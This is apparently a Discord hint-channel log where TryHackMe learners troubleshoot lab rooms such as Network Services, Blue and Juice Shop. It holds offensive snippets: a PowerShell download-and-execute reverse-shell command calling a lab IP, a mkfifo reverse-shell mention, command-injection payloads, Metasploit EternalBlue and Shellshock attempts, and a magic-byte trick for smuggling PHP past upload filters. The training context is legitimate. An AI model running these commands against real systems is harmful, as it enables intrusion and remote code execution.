#room-hints
1 messages Β· Page 98 of 1
perhaps π
now that I think about it... you've made another sort of login for ssh, no? because you generated a key pair... It's probably to show how you do it if you don't have any keys to begin with.
I did it on the attackbox so there was already some stuff in there
I might just be confusing myself π
Well I can do ssh -i my_ssh_key MACHINE_IP and it gives me a prompt for "pingk@MACHINE_IP's password:" but no matter what I type in, it says permission denied
I didn't give mine a password
hmmm
generate a key pair without a password and see if it works like that
I remember it coming up with the password prompt and not knowing what to do XD
Yeah I tried again with no passphrase but I still get a password prompt and nothing works
Maybe you need to have an existing user on the machine, which we obviously can't replicate, but if we did then it would work?
I'm going to try it out in a bit :o
I was able to do it yesterday
DM me if you get it working π
an existing user on the machine? :o
will do :)
hey guys I'm new at cyber security and I started with CS50 course is that right?
it gives you the payload though? :o
the bottom two lines
mkfifo /tmp.....
copy and paste that into the telnet session (remember to use .RUN before pasting it there)
No clue to be honest. I started with TryHackMe and am currently studying to do Security+ :P
thnaks
Ok, how to start correctly?
I don't think I'm the best person to ask this but from what I understand, Security+ is the first sort of introductory certification into cyber security.
but don't take my word as gospel because I am also quite new to this :)
ok, thx for your help β€οΈ
Gave +1 Rep to @dry gate
cyber-and-careers section of this discord may have more wisdom @turbid walrus
hey guys I have one quick question about basic OS command injection in web applications
could someone help me?
sure what are you trying to do ?
what are you using?
The web app queries using a shell command with product and store ID as arguments and will output the stock status for specifed item.
productId=4&storeId=1
will output 88 which is the current stock
productId=4&echo test&storeId=1
outputs some other number
productId=4&storeId=1|echo test
outputs "test"
i'm wondering why | is the appropriate character for this payload and not &
because | is known as pipe-ing and it basically sends the command through another thing while adding the first one to it (don't take my word for that I don't know a lot of how stuff works)
"The Pipe is a command in Linux that lets you use two or more commands such that output of one command serves as input to the next. In short, the output of each process directly as input to the next one like a pipeline. The symbol '|' denotes a pipe." - https://www.guru99.com/linux-pipe-grep.html
gotcha, so a command like this
echo 88 | echo test
outputs just test
and I see now why | was the correct character to use
it seemed counterintuitive because I didn't think "88" could be fed into "test"
π
thank you
stuck on network services task 4
im in the smb prompt but dont know how to continue from there
any hints?
hints on what
im legit stuck on task 4 there
4th question there
Great! Have a look around for any interesting documents that could contain valuable information. Who can we assume this profile folder belongs to??
yup
what part of that is giving you trouble?
did you read the text for Task 4?
assume
that might be your problem
ah, well thanks for the help
so you worked it out?
also you could use the help for smbclient or manpage if it's there, learning how to use smbclient sounds like your issue and the instructions are in the text for the chapter
Hey!! I'm doing the Overpass 3 room!! I'm trying to get to get into the paradox user!! Can I get some hints? Is using ftp a good idea?
Hey guys!!! i have a problem with connecting to the NFS server, (NFS ENUMERATION) it says access denied, what should i do? When i search this on google it says i have to go to the NFS server and go through the privilege by /etc/exports and do some modifications there, but the thing is if i cant access the server how am i supposed to edit that file?? let me know thanks!!
probably not a bad one IIRC
enumerate the webserver a bit more, you'll probably find some interesting things
help: room-Network services, task-10, last question. i was trying to brute force file server with hydra and couldn't get the result i intend to, may be wrong synytax ?
syntax is off, check the --help page
you used the literal file path as the password π
It should be -P to provide a password list (file)
somthing like this ? (first time using hydra)
try a big P
you mean a latest version of rockyou ?
You may leave -t 4 flag, hydra should use the highest value by default.
IIRC, it is sshd that doesn't allow more than 4 connection requests at a time
ftp is pretty slow as well
Ok, I believe youπ
anyways, we're going a bit beyond hints here
Please see this, you will get to know about the basic features of hydra
It is pretty clearπ
capital P doen't fix it . i may probably need help than hint. thanks
should read the error messages, they can be insightful sometimes π
(you may have forgotten a letter)
found it , i was wrong with file path, ".txt.gz" was the correct one.
you should unzip it first though
many thanks for paitiently helping me @ripe hedge @sturdy hearth.
Gave +1 Rep to @ripe hedge
+rep @sturdy hearth
Gave +1 Rep to @sturdy hearth
I pretty sure I've the hidden directory! I've a reverse shell in the box
Am Imissing something?
if you have a shell you're not too bad I think
Yes, but I'm having trouble pivoting to other users!!
psst, can anyone tell me how to extract a file found with zsteg?
for reference I'm working on task 3 q2 here https://tryhackme.com/room/agentsudoctf
Hey guys
I need a hint pls because I am stuck in this question for a long time
in the nmap room at the task 8 question 2
this is where I have stuck
I have read the document, but I still cant find the answer
can somebody give me a hint pls :D
Have you read the entire task text? As it's giving you the answer on multiple positions in the text. Even on one position it's giving you the exact answer π
I will read it again
I tried identical fashion
many many times
What's the answer you use? Please delete it here in discord aftwards
Oh, well that's not correct, so ^^
Maybe translate the question or the answer you tried "identical fashion" as I don't know how that could fit to the question ^^
Great π
but I don't know what evasion is though lol
Basically to not getting detected, to avoid being detected by it.
I am having an issues with the xss in task 7. I am running the script and receiving the popup, but do not get a flag. any ideas as to why?
Are you talking about /room/xss ?
OWASP Juice Shop Task 7 question 1
Maybe it's bugged or you somehow already did it, as I think it will not pop up the 2nd time you do it. You could navigate to /#/score-board to check if you have solved that task already. In case you did, there should be a button to trigger the flag to pop up again.
its not showing task 7, only task 6 complete
maybe restart the machine. Is it coming up with the flag for the previous question?
I remember getting a similar error
So you didn't found the correct task in the score-board which is meant for task 7, or you found the right task in the score-board but it's not solved yet?
found the task, not solved
Alright, ye if you are sure to have done the correct steps, then the shop might be just bugged and you have to restart it, like Gabriel also said.
ok. thank you so very much
Gave +1 Rep to @left thunder
I'm so confused by this task. I think I just can't read the text
Da hek is this task π ? Are you sure that's the correct pic ?
task 7 q2 https://tryhackme.com/room/ccstego
Oh okay ^^
Pic is fine, try playing with the colour settings
Might be able to find something with better contrast
hello everyone
i have question about new room
https://tryhackme.com/room/bypassdisablefunctions
does anyone got same problem as me? i can not run python file download from Introduction
i did nothing to original file after git clone
file cannot be opened... interesting
but when i try python3 i got this
i also tried to fix by ad () to those print and i got same error as using python, python2
Hi! I've some trouble for the Network Services room, Task 4 "Exploiting SMB", last question:
Now, use the information you have already gathered to work out the username of the account. Then, use the service and key to log-in to the server.
What is the smb.txt flag?
I already downloaded the "key" on my machine, I think I understand how this works but I can't go any further, can someone give me a hint please?
Not quite sure what you are stuck on. Are you stuck on how to use the key or on what exactly ?
I think I don't know how to use the key, indeed
I've done a simple copy-paste but maybe I was wrong
You mean you opened the file and copied the content to a new file or you just copied the whole file?
Alright, so what's the key called you copied?
Can I write it here or it's too risky to spoil others people?
You can mark it as spoiler or delete it afterwards
Alright then
It was the ||id_rsa file, the ssh private key||
So I copy-pasted it in my ||.ssh folder|| on my local machine
Alright, so then technically you should by now know what it is used for, right? Is it just the syntax to use you are stuck on ?
idk the password is still asked, so maybe i don't have the right username?
Have you done the chmod 600 on the file and are you specifying the correct path of the key file?
It's written work out the username of the account so I guess it's about the guy in the ||file|| I found earlier
Oh
I've done the chmod 600 but I didn't specify the correct path
I didn't even know I had to do that
So the syntax is ssh -i /path/to/keyfile username@ip
Alright I'm gonna give a try with multiple usernames and I keep you informed, thanks :)
Sounds good, no problem π
Just one last thing, if it keeps asking for a password, you either have the wrong username or the path to the id_rsa file is not right
Yeah it keeps asking, idk where i'm wrong then
I tried multiple usernames with my id_rsa downloaded
Have you answered question 4 of task 4 ?
Then there are not too many possible usernames to try
So I tried a couple of usernames like ||johncactus, j.cactus, cactusjohn, etc.||
But maybe I didn't downloaded well the id_rsa
I can give you that much, the ones you tried there are not right
Ye, there are not, unless you think too complicated π
Yeah it happened to me very often...
OH COME ON
Sorry.
It was too simple to me x_x
Even the flag is taunting me lmao
Thank you Fontaene
π Not a problem
Just to let you know in case you didn't saw it, there is a channel for that room #885963072446009444
Could someone dm me about Vulnnet Active? Still trying to get user
I'm using the metasploit room now.
Whenever i exploit, it says session wasn't created
Why so
Exploit completed, but no session was created.
run it with python2
Add this to the end of the file Invoke-PowerShellTcp -Reverse -IPAddress 10.10.237.93 -Port 4445 for Invoke_PowershellTcp.ps1, have a netcat listener on 4445 and now run you commands
@shadow tangle
i have to put the -Port in the same port that i have hosted the py server on
(Python3)
No this is for the reverse shell
ok
Which will be serving this file which has been edited to get a rev shell
Edit the command to port 4443
Listener is fine
Change that to powershell IEX (New-Object Net.WebClient).DownloadString('http://10.10.237.93:4443/Invoke-PowerShellTcp.ps1')
Also you don't need the second part
Just the first one as it's going to get the rev shell and execute the rev shell commands for you
my stupidity went 100%
That's okay π
some times my brain just melting
for some reason still doesn't work
while its correct
Do you get a hit on your sever
And in the web shell use powershell.exe IEX (New-Object Net.WebClient).DownloadString('http://10.10.237.93:4443/Invoke-PowerShellTcp.ps1')
Wait isn't your IP, 10.10.237.93
my ip is 10.10.237.93
yeah
the websites ip is that
10.10.63.205
ah nvm
i can
lemme try that
in -IpAddress -Port i will put 4443 port right?
Lport of the netcat π
xD
kk
then 4443
xD
when i do that it sends its request in the netcat
not in the server
YES
i did that
finally
jesus crist
ok ty
i just had to put the port in to 8080
i have access ok
Nice
π
is that a room question?
generally, you'd get the source and compile it
(for creating an exe)
how do you compile cs ?
cs?
c#
I feel like you can probably google that
I don't want to install M$ code thing
Are you asking it for wreath room?
no no
On linux there is mono-devel package, that you can install to compile .cs files into .exe
IIRC, it is mcs file.cs
So you want to produce an executable file from your .cs program code?
And you don't want to install the tool to do soπ
apparently I have to make a netcat that defender won't just yeet out of the system
if I read the doc correctly
sometimes changing the code a little bit and recompiling the executable can bypass these simplest of detections.
nope
If the room doesn't state to use C#, you can use .c as well.
There are plenty of those available on GitHub
Perhaps you can find an executable file as well, that doesn't get blocked by Windows Defender in your room.
Here is one
https://github.com/int0x33/nc.exe/
it IS an insane rated challenge room that the spirit of is kind of not to follow a writeup to solve
what writeup?
are you hinting to go for socat?
nope, not hinting anything
found with nfs locking as the search query
Stands for NFS Lock Manager?
Or Network Lock Manager
Hi everyone! I'm working on the [Severity 8] Insecure Deserialization - Code Execution section of the OWASP path and my rce.py file won't run. There seems to be a problem with the pickle module not existing but I'm new to Python and are having a tough time trying to get it working. Any tips/direction would be highly appreciated!
sadly, no better, either ||KTrtNl5|| or ||KTrtN15|| but both are ||404s||
Trying to crack this hash on john for a THM challenge:
$2a$06$7yoU3Ng8dHTXphAg913cyO6Bjs3K5lBnwq5FJyA6d01pMSrddr1ZG
Here is the command im using:
john --format=bcrypt --wordlist=/usr/share/wordlists/rockyou.txt hashfile
The error im getting:
No password hashes loaded (see FAQ)```
Anyone is here
Make sure you have that hash in the "hashfile", try manually pasting it in rather than using echo.
shouldn't you have it in a text file like hashfile.txt... idk if that makes a difference or not. Also make sure you've got the right hash type. There are programs that can find it for you. It may be bcrypt but there are probably other kinds of bcrypt hash types.
john --format=lists | grep -i bcrypt
should show you the other bcrypt hash functions.
I don't think file format matters, His command seems to work. I think the issue is with the echo, echo $2a$06$7yoU3Ng8dHTXphAg913cyO6Bjs3K5lBnwq5FJyA6d01pMSrddr1ZG won't work, echo '$2a$06$7yoU3Ng8dHTXphAg913cyO6Bjs3K5lBnwq5FJyA6d01pMSrddr1ZG' should.
Afaik
No password hash loaded corresponds to either wrong format defined or error while reading the hash file
ah ok. the way I did it was just copy the hash to the clipboard and then use vim and paste it in there. Might not be super efficient though XD
The machine on Advent of Cyber 2 task 10 doesn't work?
I've have given it enough time to fully boot up the services, but whenever I try to visit the URL or the panel, it doesn't work
What's the full url you try to open and doesn't work?
Seems you forgot to add the port after tryhackmeIP
Oh yeah I just saw it's port is 8000 and not 80 oof . Thanks man!
Thanks @left thunder
Gave +1 Rep to @left thunder
Sure, not a problem π
Hi all,
I'm currently working on Networking services - Exploiting SMB and I'm having a small issue.
I am able to do enum4linux but when it comes to accessing the target using an Anonymous account I get the following error
Connection to failed (Error NT_STATUS_UNSUCCESSFUL)
I've looked around on the webs and everything is pointing to an issue on the target/password issue.
However for this room it's meant to be accessible without a password.
Any hints or reading material is greatly appreciated.
Enumerate the machine proberly to be sure you are trying to use the correct share
Ha it was more simple than that. For some reason I put a space between the IP and the share..... every time i ran it......
don't know if this is the right room if it isn't please let me know nicely please. I'm stuck on network services task 6. I've been stuck on answers 6-7 for 2-3 hours now. I've tried everything from: ||nmap -T4 -A -p- 10.10.14.212|| to ||nmap -T4 -A -p- 10.10.14.212 -p 8012|| to even trying to connect with the telnet to find answer's 6-7. I've also tried removing the ||-p-||
I've tried ||smbclient-ing the ip|| and nothing came up, i've tried switching up the arrangement of the code. i've added ||-sV, -vv, -v, -A|| and it takes a long time to even get the scan done even when it hit's 100%. the last time I tried a scan it gave me the Fingerprint but nothing that answers task 6's question 6 box.
I'm just wondering if this box is broken because when I scan the ip with everything I know I get the same output. I've just resorted to looking up the answer because I'm stumped and i've seen on multiple writeups everyone has had the same code i've put in and have gotten a different output from me? I've even ||"enum4linux"|| the ip and it gives me an error. what give's?
I know I already have the asnwer but I actually want to go back with a hint and figure out what I'm doing wrong myself. I've never had this much trouble with a room until this one
Great π But I think you should delete that as it contains the flag and the solution to it
@left thunder ok ohh I deleted
Did you started the new machine attached to task 6 ? Rather then using a machine from the previous task?
yes, i've restarted it twice. The title is supposed to be ||POLOTELNET|| correct?
Yes
yes, i've been using that one and all the writeup's ive seen have the exact same code i have but they get the answer for the 6th box but i dont
So what is the output of your ||nmap -T4 -A 10.10.14.212 -p8012|| ?
gonna try that again...one sec
Wait you had a typo in it, you specified the ports 2 times, just edited the command
ah, i see
oh wow...so I got the answer now after I scanned it. The weird thing is when you mentioned i specified the port twice. in the previous ip i used which was: ||10.10.14.212|| it never gave me a error when I inputted ||-p-|| along with ||-p 8012||.
I got a new machine with the ip ||10.10.183.27|| and it DID give me an error when I did do ||-p-|| along with ||-p 8012||. So I just got done with the scan and I got the answer I was looking for after i too out ||-p-|| which is super weird
yeah...wtf now it's giving me the correct stuff for task 7 now...weird
Well, no idea why that would have happened before, but either way you got to your answer now π
yeah, thanks for the help. No use worrying about it now lol
is the network service room supposed to be this hard? I'm now stuck Task 7 and im doing what it says but once I mess up one command and try typing ||.HELP|| it doesn't show the ||.RUN <command>: Execute commands|| output anymore so i'm assuming it kicked me out of the Telnet? If i try reconnecting to ||Skidy's Backdoor|| it doesnt give the ||Welcome to Skidy's backdoor|| anymore and even trying to run the ||nmap scan|| again doesnt work and i have to terminate the machine and start all over again.
Even the ||.RUN ping <ip I have> -c 1|| command doesnt work, inside of the telnet connection. If I press CTRIL+] and then trying it in there i just gives me ||? invalid command|| but if i run the
This room is so frustrating, jeez...sorry if i'm asking too much, this room just way too complex and keeps breaking on me. I did the rooms before the Networking Services one and this is even included in the "Complete Beginner" - but doesn't feel like it whatsoever - so I dont think I should be having this much trouble.
I would try this room on my own VM but it doesn't work like how it does with the attackbox, and yes i'm using openvpn and I do/did use kali linux when i tried other rooms with a VM
I've been going through https://tryhackme.com/room/owaspjuiceshop It seems Task 4 Q1 might be broken. I successfully brute-forced the admin password but when I logged in, nothing happened. Usually doesn't it have like a popup with the token?
I found the network services rooms very challenging the first time I did them. Don't worry about it too much as long as you get what you're doing for the most part :). I too have had that thing where the telnet session goes a bit crazy and then it doesn't give the welcome message. I had to restart the victim machine when that happened.
Besides from when it does that, is there a part that you're stuck on?
There should be a popup with a flag, no? If not I'd try restarting the machine :/
Whenever my machine and attack box work and I connect to the telnet that gives me the ||welcome to skidyβs backdoor|| and I type the ||.RUN ping <ip of the machine> -c 1|| it does nothing and usually after that when I try to type ||.HELP|| it doesnβt give me that ||.RUN <command>|| output anymore so Iβm guessing it kicks me out, this has happened every time so far. Not sure whatβs going on with that but if I can figure out whatβs going on, Iβm confident I can get through the rest by myself if it doesnβt keep messing up.
can you post a screenshot of what you are inputting? you will have to verify with the discord bot to post screenshots however
!docs verify
Gotcha. give me a couple of mins to hop on my pc and get back to where I was and see if it happens again
ok i'll be back in a bit myself
Did you set up the tcp dump listener?
i've tried that also while connected to the telnet but there was no output, not sure if that's what is supposed to happen. After my telnet connection (that I think broke) and disconnected to it, I tried entering the command in the actual root part of the terminal and it gave me an output.
After that I was able to type but got no output after entering, and there was also no terminal name next to where I was typing like how there is when It tells you "root@<whatever-ip-you-have>....(I hope i'm making sense I'm terrible at explaining myself).
do I have to enter the tcpdump BEFORE connecting to the telnet?
well, you just need to follow the instructions
which is why I wanted a screenshot
im getting it now
but I suspect Gabriel is right, don't forget you can open multiple terminals
or tabs
i am following the instructions...i have been for 3 hours...
there's me following instructions, don't know what i'm doing wrong unless i have to set the tcpdump before the telnet connection.....
well like I said
what do the instructions say
you will need to use two terminal windows for this
well if "start a tcpdump listener" counts as "start another window" then they gotta rephrase that. that's confusing for some people, like myself
i had 0 clue that's what that meant
specifically it says Start a tcpdump listener on your local machine.
and then Now, use the command "ping [local THM ip] -c 1" through the telnet session
A tcp dump listener is used to listen for icmp packets (pings). You're doing this to see if the telnet session actually responds to your commands. So in a separate window, enter the tcp dump listener command that they provide and then use the ping command in the telnet session. You should see something pop up in your tcp dump listener window.
i guess so, my brain just couldn't process that. I tend to follow instructions literally, like things have to be direct and in my face. I know you'll say something like "you gotta read" or "that's not how life works" but my brain works different
I see now, idk how i didn't process that at all. I was certain I was doing everything right
to me those instructions are quite literal, start a tcpdump listener, then use telnet to try ping it
but I don't know, I think if anything it highlights some fundamentals not in place yet, but by doing this you will learn it
I did find it confusing when I first did it. It never really explained what this stuff was and even when I tried looking up what these things were, the explanations would seem very confusing. With time, you'll understand what these things are.
what I thought would happen is, if i entered that tcpdump command it would do that and run in the background then I could've gone and entered the ping command inside the same window. In my previous messages i stated i've went through the rooms in the "complete beginner" course before this one
But network services is in complete beginner π€
no yeah that's what im saying, im responding to neon talking about the fundamentals, i di those ones before coming to this room
Understanding what you're doing is super important rather than just following instructions blindly :P
yeah, this is what i mean when i say i cant explain myself to normal people, i just dig myself a hole LOL. thanks for the help i'll leae y'all alone
ok, well do you understand the difference between your local machine (attack box) and the machine you are connecting to (target)?
I assume you used something like wget or a file transfer method previously?
or even a netcat listener and another panel for something else
yes the wget, for the smbclient previously. i used two different windows...i'm pretty dumb i admit that so if im having trouble with this i know i wont get far. you're right though I should read more.
just think, going forwards that there will be frequently sitautinos where you need to run things on your own system and also things on the target system
usually its highlighted but it will be good to get in the habit of using multiple tabs for different things anyway
You're not dumb lol. Nobody was born knowing this stuff
yeah I just get into the rythm of doing one thing one way and forgetting there's more than just that.
i'll read more, thanks for the help
no problem it never hurts to ask and I like to try help by getting people to discover the answer themselves, especially in hints so I think you did well
just one part off makes the whole chain fail a bit π
crazy how one missed thing can mess up a whole process, was literally talking about this the other day ago and now look lol
yeah don't sweat, it over time stuff will click more and more and it will become second nature just gotta keep pushing
for sure, I'll keep on keepin on. thanks again y'all
Hey everyone, I'm doing https://tryhackme.com/room/cowboyhacker and I'm stuck on the last question. I gathered all the other flags and now I'm just trying to find the root flag. I looked at https://i7m4d.medium.com/bounty-hacker-write-up-tryhackme-4afca1389f5a this walkthrough eventually and followed the steps for this, copying the command from GTFOBin as also shown in the walkthrough. However, I cannot do any sudo commands without it asking me for the password regardless. Can anyone provide a hint?
Are you logged into ssh?
yes
Not sure if that would work, but have you tried without sudo ? As you are able to run that command with root privileges anyways ?
yeah I tried without sudo, then I can ask id. But it shows me as the user, not as root
So what happens if you run the command you found without sudo and the action /bin/sh ? Just to let you know, I have not done that room, so if anything might be nonsense, just don't listen to it π
No worries haha, thanks for helping π I ran it without before, then I got the expected result ( tar: Removing leading '/' from member names ). But whoami then returns <user> name, whereas in the walkthroughs it immediately shows root
Mh and just out of curiosity, what instead of using tar you try using /bin/tar
I'm not sure what you mean, but when prompted to enter a user password, use the ssh password.
yeah thats all good. That works, I am logged in as the user
but now I need root π
the ssh pass doesn't work when I do some sudo command
unless I typed it incorrectly like 10 times but I dont think so haha
hey thanks a lot, this worked!
Gave +1 Rep to @left thunder
thanks both of you π
Awesome π
[*] Started reverse TCP handler on 10.17.22.82:4444
[*] 10.10.2.188:445 - Using auxiliary/scanner/smb/smb_ms17_010 as check
[-] 10.10.2.188:445 - Rex::ConnectionTimeout: The connection with (10.10.2.188:445) timed out.
[*] 10.10.2.188:445 - Scanned 1 of 1 hosts (100% complete)
[-] 10.10.2.188:445 - The target is not vulnerable.
[*] Exploit completed, but no session was created.
i am try to solve blue machine but whe i type run command getting this error please guide me on this
I suppose it wasn't a password problem. I can see now how my question was confusing! Thank you for helping
Gave +1 Rep to @spare fractal
please replay on this
I'm not super experienced with msf but looking at this it looks to me like it was successful, but the exploit cannot be used on the target. Perhaps you are using the wrong exploit?
so can u guide me what is the right exploit
no, sorry
not that I dont want to but I'm afraid I cannot advise you on this. You can look up some walkthroughs however, they can provide some more insight
no problem, now it works π
but when i use fresh kali machin it will not giving any error .
Please verify your account on this server. Click on the link and follow the steps.
!docs verify
Then you can send screenshots.
In which room are you?
blue
Can you please send a screenshot of show options?
@spare fractal
@spare fractal r u there
Your Lhost is tun0. I am not shure if tun0 turns into an IP adress. Try this:
Set Lhost 10.XX.XX.XX
Maybe this is the Problem
you can use tun0 as LHOST
it may take you several time
if its fail, reboot the machine and start the exploin again
ive heard someone took 5 tries for it to actually success
Got the above error while working on Linux Fundamentals - Part3, Task 4. Kindly help to resolve it pls.
bruh
Have not moved pass that task cos of the error.
Has a target for today to finish Part 3 of the fundamentals and move to something else.
Which task?
Did you start a python HTTPServer?
No really, was on the wrong terminal before, but has resolved it. Appreciated
Excellent!
network services task 4 exploiting smb
im pretty sure i have the right syntax
but its not accepting my answer
would appreciate hint
oh dont worry i see the error of my ways now
For future referente, remember to verify so you can post screenshots :)
!docs verify
hey guys i am in the last step of the CC: Pen Testing room. I just need to gain root access. Any hints?
nvm found it
!!
On the Blue room, when searching for available vulnerabilities, how would I have known to use eternalblue if all I have is a list of ports/services and a search engine? What should I search for?
searching for "windows 7 7601" on port 445 on exploit-db doesn't bring up any results
there are probably a lot of ways, if you run nmap scripts against it, likely to pick it up
Hey guys I am currently doing Osiris and running into an issue - I have changed the password for the ch***h user through mimikatz and the output is exactly the same as what is in the walkthrough although when I try to login via RDP it fails every time. Any idea?
Run the nmap command through metasploit with db_nmap. After that's done, the command "vulns" shows the possible exploits. That's how I did it.
Although I wish I knew how I could figure this stuff out without metasploit :P
Ahh, I didn't know you could do that, thanks!
Gave +1 Rep to @dry gate
This is the most logical tip I found that links my next course of action. Thanks!
Gave +1 Rep to @wicked lark
hi guys is there a way to use hydra to bruteforce ssh with id_rsa?
i have id_rsa and a pass but no username and i cannot find the option
I think hydra is just for cracking passwords... as far as I'm aware π
i am try to solve 0day . i am successfully run the openvpn but when i try to ping the server it not responding and also nmap not working please guide me on this
ββ# nmap -sC -sV -A -v 10.10.145.73 -oN 0day
Starting Nmap 7.91 ( https://nmap.org ) at 2021-09-15 10:42 IST
NSE: Loaded 153 scripts for scanning.
NSE: Script Pre-scanning.
Initiating NSE at 10:42
Completed NSE at 10:42, 0.00s elapsed
Initiating NSE at 10:42
Completed NSE at 10:42, 0.00s elapsed
Initiating NSE at 10:42
Completed NSE at 10:42, 0.00s elapsed
Initiating Ping Scan at 10:42
Scanning 10.10.145.73 [4 ports]
Completed Ping Scan at 10:42, 3.05s elapsed (1 total hosts)
Nmap scan report for 10.10.145.73 [host down]
NSE: Script Post-scanning.
Initiating NSE at 10:42
Completed NSE at 10:42, 0.00s elapsed
Initiating NSE at 10:42
Completed NSE at 10:42, 0.00s elapsed
Initiating NSE at 10:42
Completed NSE at 10:42, 0.00s elapsed
Read data files from: /usr/bin/../share/nmap
Note: Host seems down. If it is really up, but blocking our ping probes, try -Pn
Nmap done: 1 IP address (0 hosts up) scanned in 3.49 seconds
Raw packets sent: 8 (304B) | Rcvd: 0 (0B)
many time i am facing same problem
the target machine has web server, try accessing it on your browser to confirm if the machine is off
are you on vm or attack box?
yes i am in vm
are you running the vpn on the vm or on your host?
and the when i search the 10.10.145.73 it show time out
in vm
try restart the machine, and remove the -A
okk i will try
ββ# nmap -sC -sV -v 10.10.139.181
Starting Nmap 7.91 ( https://nmap.org ) at 2021-09-15 11:01 IST
NSE: Loaded 153 scripts for scanning.
NSE: Script Pre-scanning.
Initiating NSE at 11:01
Completed NSE at 11:01, 0.00s elapsed
Initiating NSE at 11:01
Completed NSE at 11:01, 0.00s elapsed
Initiating NSE at 11:01
Completed NSE at 11:01, 0.00s elapsed
Initiating Ping Scan at 11:01
Scanning 10.10.139.181 [4 ports]
Completed Ping Scan at 11:01, 3.04s elapsed (1 total hosts)
Nmap scan report for 10.10.139.181 [host down]
NSE: Script Post-scanning.
Initiating NSE at 11:01
Completed NSE at 11:01, 0.00s elapsed
Initiating NSE at 11:01
Completed NSE at 11:01, 0.00s elapsed
Initiating NSE at 11:01
Completed NSE at 11:01, 0.00s elapsed
Read data files from: /usr/bin/../share/nmap
Note: Host seems down. If it is really up, but blocking our ping probes, try -Pn
Nmap done: 1 IP address (0 hosts up) scanned in 3.36 seconds
Raw packets sent: 8 (304B) | Rcvd: 0 (0B)
same error
Are you able to open 10.10.10.10 in the browser of the machine you are trying to scan with?
no
Alright so that means you are not successfully connected to the THM network via openvpn
Did you download your openvpn config file from the THM website ?
.
now when i try to run the exploit getting this error
msf6 exploit(multi/http/apache_mod_cgi_bash_env_exec) > exploit
[] Started reverse TCP handler on 10.17.22.82:4444
[] Command Stager progress - 100.46% done (1097/1092 bytes)
[*] Exploit completed, but no session was created.
why every time lot of problem getting
There's a few reasons as to why this occurs:
- Try a different port
- LHOST is incorrect
- Payload is being strange (change the payload)
- Exploit isn't working (try it manually, not in MSF)
hole day i am trying but this show same error can u come in google meet for short time i am just frustrated
I'm working right now.
Try:
set LHOST tun0
set LPORT 9001
show payloads (choose one from the list)
set PAYLOAD [whichever one you chose]
CMD_MAX_LENGTH 2048 yes CMD max line length
CVE CVE-2014-6271 yes CVE to check/exploit (Accepted: CVE-2014-6271, CVE-2014-6278)
HEADER User-Agent yes HTTP header to use
METHOD GET yes HTTP method to use
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS 10.10.64.229 yes The target host(s), see https://github.com/rapid7/metasploit-framework/wiki/Using-Metasploit
RPATH /bin yes Target PATH for binaries used by the CmdStager
RPORT 80 yes The target port (TCP)
SRVHOST 0.0.0.0 yes The local host or network interface to listen on. This must be an address on the local machine or 0.0.0.0 to listen on all addresses.
SRVPORT 8080 yes The local port to listen on.
SSL false no Negotiate SSL/TLS for outgoing connections
SSLCert no Path to a custom SSL certificate (default is randomly generated)
TARGETURI /cgi-bin/test.cgi yes Path to CGI script
TIMEOUT 5 yes HTTP read response timeout (seconds)
URIPATH no The URI to use for this exploit (default is random)
VHOST no HTTP server virtual host
Payload options (generic/shell_reverse_tcp):
Name Current Setting Required Description
LHOST 10.17.22.82 yes The listen address (an interface may be specified)
LPORT 9001 yes The listen port
still same error
It looks correct to meπ
Did you ever receive a session with this machine (instance)?
no
run
[] Started reverse TCP handler on 10.17.22.82:4444
[] Command Stager progress - 100.46% done (1097/1092 bytes)
[*] Exploit completed, but no session was created.
The lhost should be your machine, usually what's on tun0
17 feels high but it might be one of the newer vpns I guess
Your handler is listening on 4444 and the exploit wants to connect to 9001
so can i set lhost 4444
Lport
ya sorry lport
Or the handler to listen to 9001, either should be fine
run
[] Started reverse TCP handler on 10.17.22.82:4444
[] Command Stager progress - 100.46% done (1097/1092 bytes)
[*] Exploit completed, but no session was created.
same error
Hi guys, i have a question, i need to perform an nmap on an IP address and I did :
nmap [IP]
nmap -sS [IP]
nmap -sT [IP]
This is on network services 1 / FTP / Question 1 : How many ports are open on the target machine?
The only port i can see is Port 21 FTP, but the answer is 2
I did a mistake or not enough precisions in my command ?
If you don't specify how many ports nmap should scan, it will only scan the 1000 most popular ports, so if there is a port outside that scope, nmap will not show it. So you have to define that nmap should scan for example all ports.
hey guys im at relevant penetration testing challenge. i did an nmap scan and it's ms17-010 vulnerable. i tried using metasploit and it kinda works i think but the thing is.... exploit completed but no session was created
so i tried different payloads
like windows/x64/meterpreter/bind_tcp
and windows/x64/meterpreter/reverse_tcp
but i cant get into the meterpreter
ty bro
Gave +1 Rep to @left thunder
Blue is finicky. Make sure you're using a tcp meterpreter payload and reset the machine
@lapis crow It can take a couple of tries
Hey guys, I'm in Upload vulnerabilities task 7 and I'm having trouble as I am able to successfully upload the file to the site but no matter where on the site I check i'm not seeing the file.... I run a scan on the site but Im not seeing any additional folders where the uploaded exploit could be. ANy tips?
Make sure you have only one instance of openvpn running.
It could be possible that you had multiple instances and using LHOST => tun0 didn't work because there is now another tunX
If metasploit isn't working for you smh, simply do it manually.
It isn't hard, given that you are trying this room alreadyπ
Anyone have completed this room : https://tryhackme.com/room/bypassdisablefunctions
I have.
@gusty turtle bro which magical number you used
I used jped and png both not working in my case I didn't get shell
Look
Try a different image type : ||GIF||
@gusty turtle use say I use gif magical number
This would be more than a hint but here you go: ||https://sushant747.gitbooks.io/total-oscp-guide/content/bypass_image_upload.html||
@gusty turtle but in concept he didn't use magical numbers he just use extension
.php.jpeg
It does, check the second way.
@gusty turtle
@gusty turtle can you tell what is this . And why this coming to all payload with some minor changes
You are missing the <?php and ; after the "Magic Number". Make sure to copy the whole payload.
@gusty turtle wait
This my payload before changing magical number
This is hexadecimal tool where I change value
This is my payload after change values
You dont have to use Hexeditor for that, it will overwrite the php tag.
Directly prepend the Magic Number to the payload in a text editor.
This link has everthing that you would require for bypassing.
The text editors may or may not work for binary data (magic bytes)
# an image file like .gif, .jpg, .png
# copy first 16 or so bytes from an actual image file and write to `output.php`
dd if=/path/to/image/file of=output.php bs=1 count=16
# now APPEND actual payload script after it
dd if=/path/to/payload.php of=output.php oflag=append conv=notrunc
For more control like image size, you will have to modify the metadata for that specific file.
Like images of size <= 1000 x 1000 are allowed
Yeah, that would be a better approach, but just prepending the Magic Bytes/Chars of GIF using text editor works fine too.
Yes, GIF89a at the startπ
@gusty turtle bro still I don't get shelll
What is that page showing now?
Looks like the php is executing, Check the path of the payload, i.e --path flag in the Chankro.
Look at command which I used
/var/www/html is so simple to guess, try to find a way to get the cwdπ
@sturdy hearth I didn't get what you say
Did you read the description in the room about DOCUMENT_ROOT?
